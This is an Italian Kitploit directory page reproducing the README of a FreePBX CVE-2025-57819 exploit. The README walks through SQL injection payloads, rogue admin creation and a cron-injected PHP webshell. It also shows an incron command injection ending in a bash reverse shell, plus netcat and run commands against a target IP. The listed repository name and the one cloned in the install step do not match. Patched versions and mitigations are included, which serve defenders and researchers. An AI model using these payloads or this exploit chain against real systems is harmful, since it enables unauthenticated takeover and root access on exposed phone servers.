Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
FreePBX-SQLi-RCE — Proof-of-concept in Python che sfrutta CVE-2025-57819, un'iniezione SQL non autenticata in FreePBX che concatena la creazione di un amministratore, il deployment di una webshell tramite cron e l'escalation a root. | Kitploit
Strumenti/GitHubGitHub/hexbytee/freepbx-sqli-rce
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingStrumento di Accesso RemotoSviluppo Payload
GitHubhexbytee/freepbx-sqli-rce

FreePBX-SQLi-RCE

Proof-of-concept in Python che sfrutta CVE-2025-57819, un'iniezione SQL non autenticata in FreePBX che concatena la creazione di un amministratore, il deployment di una webshell tramite cron e l'escalation a root.

Vedi Repository
13 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

FreePBX CVE-2025-57819 - SQLi non autenticata per PoC RCE

Python License

Solo per scopi educativi e di ricerca sulla sicurezza - Vedere l'avviso legale di seguito

Proof of concept di sfruttamento per CVE-2025-57819, una vulnerabilità critica di SQL injection non autenticata in FreePBX che consente l'esecuzione di codice in remoto. Questa PoC è pubblicata dopo il rilascio delle patch ufficiali esclusivamente per scopi di ricerca sulla sicurezza e test autorizzati.

Panoramica

Le versioni di FreePBX 15.x, 16.x e 17.x (precedenti alle versioni corrette) sono vulnerabili a SQL injection non autenticata nel gestore AJAX del modulo endpoint. Questa catena di vulnerabilità consente di:

  1. Creare account amministrativi tramite SQL injection
  2. Distribuire webshell tramite l'iniezione di cron job autenticati
  3. Scalare a root (se incron è disponibile) tramite la catena di hook sysadmin_manager
  4. Compromissione completa del sistema con accesso tramite reverse shell

Dettagli della vulnerabilità

CVE IDCVE-2025-57819
TipoSQL Injection non autenticata (basata su errori)
CVSS9.8 / 10.0 (Critico)
AffetteFreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3
Corrette15.0.66, 16.0.89, 17.0.3+
CISA KEVSì (29 agosto 2025)

Endpoint vulnerabile

GET /admin/ajax.php?brand=<PAYLOAD>

Il parametro brand nel gestore AJAX del modulo endpoint accetta input utente senza validazione, portando a SQL injection basata su errori.


Catena di sfruttamento

Fase 1: SQL Injection e creazione dell'account amministratore

Verifica la SQLi usando l'estrazione basata su errori con EXTRACTVALUE() per far trapelare il nome del database:

x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -

Inserisci un nuovo utente amministrativo in asterisk.ampusers:

INSERT INTO ampusers (username, password_hash, admin) 
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)

Fase 2: Iniezione di Cron Job Autenticata

Con credenziali admin valide, l'exploit si autentica a FreePBX e stabilisce una sessione autenticata. I cookie di sessione vengono salvati e utilizzati per tutte le successive richieste autenticate.

Inietta il comando webshell in asterisk.cron_jobs:

INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)

Il cron runner di FreePBX esegue il comando come utente asterisk, rilasciando una webshell PHP.

Fase 3: Attivazione della webshell

La webshell PHP viene distribuita in /var/www/html/shell.php:

<?php system($_GET['cmd']); ?>

Exploit esegue polling del webshell fino all'attivazione, ottenendo RCE come utente asterisk (uid=999).

Fase 4: Escalation dei privilegi (condizionale)

Se incron è configurato sul target:

  1. Crea un file trigger in /var/spool/asterisk/incron/
  2. incrond (in esecuzione come root) rileva la creazione del file
  3. Invoca /usr/bin/sysadmin_manager con il nome del file trigger
  4. sysadmin_manager convalida la firma GPG e inoltra all'hook fwconsole-commands
  5. L'hook decodifica il payload ed esegue: /usr/sbin/fwconsole <COMMAND>
  6. Command injection: help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1

Risultato: shell root sul listener inverso (se incron è disponibile).


Cosa sfrutta

  • Nessuna validazione dell'input sul parametro brand
  • L'esecuzione di query stacked consente la manipolazione del database
  • La tabella scrivibile asterisk.cron_jobs esegue comandi come asterisk
  • Persistenza della sessione autenticata tramite cookie dall'account admin creato
  • Monitoraggio del filesystem tramite incron in esecuzione come root
  • Esecuzione non validata dell'hook fwconsole con command injection

Installazione

git clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py

Utilizzo

# Setup Netcat Listener
nc -lvnp <Listener Port>

# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

PoC

Screenshot PoC


Versioni interessate

VersioneStato
15.0.0 - 15.0.65Vulnerabile
15.0.66+Corretta
16.0.0 - 16.0.88Vulnerabile
16.0.89+Corretta
17.0.0 - 17.0.2Vulnerabile
17.0.3+Corretta

Mitigazione

Immediata:

  • Limitare l'accesso a /admin/ajax.php da reti non attendibili
  • Disabilitare incron se non necessario: systemctl disable incrond

Permanente: Aggiornare alle versioni corrette: 15.0.66+, 16.0.89+ o 17.0.3+


Riferimenti

  • CVE-2025-57819
  • CISA KEV Catalog
  • FreePBX Security Advisory

Avviso legale

⚠️ ESCLUSIONE DI RESPONSABILITÀ

Questa proof of concept è fornita ESCLUSIVAMENTE PER TEST DI SICUREZZA AUTORIZZATI E SCOPI EDUCATIVI. L'autore non si assume alcuna responsabilità per uso improprio o danni causati da questo strumento.

È NECESSARIO CONFORMARSI A:

  • Computer Fraud and Abuse Act (CFAA) e leggi equivalenti nella propria giurisdizione
  • Testare solo sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione scritta
  • Ottenere il permesso scritto prima di qualsiasi test di sicurezza
  • Pratiche di divulgazione responsabile
  • Normative sulla privacy e sulla protezione dei dati (GDPR, CCPA, ecc.)

USI VIETATI:

  • Accesso non autorizzato a sistemi informatici
  • Penetration testing senza consenso scritto
  • Interruzione di servizi o furto di dati
  • Qualsiasi attività malevola o illegale

ESONERO DI RESPONSABILITÀ: L'autore non è responsabile per:

  • Accesso non autorizzato o accuse penali
  • Danni ai sistemi o perdita di dati
  • Conseguenze legali dell'uso improprio
  • Violazioni delle leggi sulla frode informatica

Questa vulnerabilità è:

  • Divulgata pubblicamente (CVE-2025-57819)
  • Patch disponibili pubblicamente
  • Pubblicata solo per ricerca sulla sicurezza
  • Condivisa in modo responsabile dopo il rilascio della patch

Autore

JazzTheRabbit

  • GitHub: @JazzTheRabbit
  • HackTheBox: @JazzTheRabbit
  • YouTube: JazzTheRabbit

Licenza

MIT License

Scarica lo strumento